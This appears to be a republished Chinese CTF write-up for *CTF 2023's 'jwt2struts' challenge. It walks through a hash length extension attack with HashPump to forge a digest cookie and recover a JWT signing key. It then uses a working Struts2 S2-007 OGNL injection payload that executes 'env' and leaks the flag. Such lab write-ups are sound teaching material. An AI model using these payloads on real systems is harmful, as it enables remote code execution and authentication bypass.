*CTF 2023 web jwt2struts 题解wp

这篇具有很好参考价值的文章主要介绍了*CTF 2023 web jwt2struts 题解wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

jwt2struts

根据题目名字猜测,这题考察jwt和Struts2

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

包里面果然有一个cookie

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

我们的目标应该是把user改成admin


首先,直接修改试试,结果是不行的。

再尝试一下爆破:

docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU

也是不行的,貌似没有非预期


返回包有个注释,是一个文件路由

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

访问是PHP代码,绕过了就给key,有了key就能加解密JWT,然后伪造身份得到flag。

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

首先就是要解出盐(salt)。。。。

仔细一看不用解盐,我们做到$username === "admin" && $password != "root"同时md5($salt.$username.$password)===$_COOKIE["digest"]就行了。

我们已知的有

盐的长度是14

md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df


对于这种未知salt,要绕过MD5/sha1加密,目前有一个很好的办法,就是hash长度拓展攻击

(1条消息) 实验吧-让我进去【salt加密 哈希长度拓展攻击】_实验吧 admins only_Sp4rkW的博客-CSDN博客

这题有个工具叫HashPump。kali中安装方法如下(root终端依次输入)

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev 
cd HashPump
make
make install

应用场景:md5("密文"+"已知字符串")=现有哈希值

文件夹下开终端(cd进去也可以),输入hashpump

Input Signature                    #现有哈希值(题目给的MD5)
Input Data                         #已知字符串
Input Key Length                   #为密文(salt)长度
Input Data to Add                  #为补位后自己加的字符串(自定义)

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

可以看到返回给我们两行内容,第一行是处理过的哈希值,第二行是处理过的已知字符串。

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值

payload:(url加密就是把\x换成%)

Cookie:digest=8ae52974e81aace9837123a520cb8179
POST:username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00Jay

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

做后尝试了一下,可以手撸出已知字符串的补位。

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

所以JWT的密钥是sk-he00lctf3r,伪造JWT后进入新的界面。

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

根据题目名字,猜测是Struts2。看特征+验证得到是S2-007

payload:(flag在环境变量里面)

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

输入到age框里面,然后环境变量从age框返回。

*CTF 2023 web jwt2struts 题解wp,CTF-web(零散wp合集),web安全

返回结果(其中有flag):文章来源地址https://www.toymoban.com/news/detail-619455.html

HOSTNAME=8256ab68db2aLANGUAGE=en_US:enJAVA_HOME=/opt/java/openjdkGPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 5C3C5F3E314C866292F359A8F3AD5C94A67F707E 765908099ACF92702C7D949BFA0C35EA8AA299F1 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23PWD=/usr/local/tomcatTOMCAT_SHA512=9e6770e9c9c3b630011c0f0e320b31bb0ea3700d52247a12d544ea25f9ee4d93613ad6ccb7939f97fb05e1760978a7547eccb16352d73fa28886134ba58f3f8cTOMCAT_MAJOR=8HOME=/rootLANG=en_US.UTF-8TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-libFLAG=flag{7r0m_jwt_t0_struts2}CATALINA_HOME=/usr/local/tomcatSHLVL=0JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMEDLD_LIBRARY_PATH=/usr/local/tomcat/native-jni-libLC_ALL=en_US.UTF-8PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binTOMCAT_VERSION=8.5.91JAVA_VERSION=jdk8u372-b07

到了这里,关于*CTF 2023 web jwt2struts 题解wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DASCTF 2023 & 0X401七月暑期挑战赛 Web方向 EzFlask ez_cms MyPicDisk 详细题解wp

    源码直接给了 Ctrl+U查看带缩进的源码 登录的账号密码是 json格式 的POST请求。 审计题目源码,发现他最后会回显当前目录文件的内容(就是源码),我们可以修改全局变量 __file__ ,从而造成任意文件读取。 解法一: 题中源码有merge()函数,我们考虑python原型链污染。 参考:

    2024年02月14日
    浏览(40)
  • [CTF]2022美团CTF WEB WP

    最终排名 源码 由上源码可知想要造成pickle反序列化需要两步: 1.得到secret_key 2.绕过黑名单造成pickle反序列化漏洞 那么先来实现第一步: app.config[‘SECRET_KEY’] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3 从这里知道,想要爆破key其实并不难,可以自己试试 那

    2024年02月06日
    浏览(48)
  • NewStarCTF 2022 web方向题解 wp

    先看题目,要传参加绕过。 分析一下代码:首先get一个data= data://test/plain, Wel…。然后key1和2用数组可以绕过。num=2077a可以绕过弱类型。eval()中的php语句被 # 注释了,我们需要通过换行 %0a 来忽视这个注释,所以再构造cmd=%0asystem(‘ls /’); 看看题干,伪随机数工具。 分析一下代

    2024年02月11日
    浏览(37)
  • 2023寒鹭Tron-CTF迎新赛 CRYPTO Misc 全WP

    1、题目信息 2、解题方法 兔子密码,在线工具直接解 1、题目信息 2、解题方法 flag有三部分 第一部分:BrainFuck解码 第二部分:ook! 第三部分:UUencode解码 1、题目信息 2、解题方法 像摩斯,但不是摩斯,是摩斯的变形。。。 把 . 换成 0 , / 换成 1,二进制解码: 最后把flag换

    2024年02月08日
    浏览(48)
  • 2023蓝帽杯半决赛电子取证+CTF部分题解

    非预期 先将data.xlsx中到的每一列都按照大小排序 之后将加粗的字体的背景颜色改为黑色

    2024年02月07日
    浏览(43)
  • GDOU-CTF-2023新生赛Pwn题解与反思

    因为昨天学校那边要进行天梯模拟赛,所以被拉过去了。 16点30分结束,就跑回来宿舍开始写。 第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上的WP,自己和他们有点不太一样,比较暴力。 大概17点10的时候,写第三题,可能自己第一次遇到随机数问

    2023年04月17日
    浏览(59)
  • Ctfshow web入门 JWT篇 web345-web350 详细题解 全

    先看题目,提示admin。 抓个包看看看。 好吧我不装了,其实我知道是JWT。直接开做。 在jwt.io转换后,发现不存在第三部分的签证,也就不需要知道密钥。 全称是JSON Web Token。 通俗地说, JWT的本质就是一个字符串 ,它是将用户信息保存到一个Json字符串中,然后进行编码后得

    2024年02月13日
    浏览(48)
  • [青少年CTF训练平台]web部分题解(已完结!)

    首先打开环境(ω。人)ZZz♪♪ 既然要做题,就要做全面了,图上说了,既然有假flag我就先找出来: 打开vmware,使用sqlmap进行处理: 记得中间的url换成自己的 看到了六个可能: {*] ctftraining [*] information_schema [*] mysql [*] performance_schema [*] test [*] word 那就挨个读取,利用指令 ”c

    2024年03月09日
    浏览(65)
  • 2023SHCTF web方向wp

    看一眼,你大爷,啥玩意都给我过滤完了。 还好下面有preg_replace()/e,会把replacement当作php语句执行 传参pattern=.*, .*表示任意字符,code={${phpinfo()}} ,为什么这样写,因为 , \\\'print_r(\\\"\\\\1\\\")\\\' ,如果直接传phpinfo(),会被当作字符串对待,而 php中{}里面的变量会被解析,这样就能执行

    2024年02月06日
    浏览(43)
  • 2023安洵杯web两道WP

    在首页提示存在eval和login的路由,在download存在任意文件下载 访问eval可以读取目录下的文件,知道/app/ pycache /part.cpython-311.pyc路径,然后使用download下载下来,进行反编译 使用在线工具进行反编译,得到session的key 然后对session进行伪造 登录成功 一看就是XML注入 打开网页发现

    2024年02月08日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包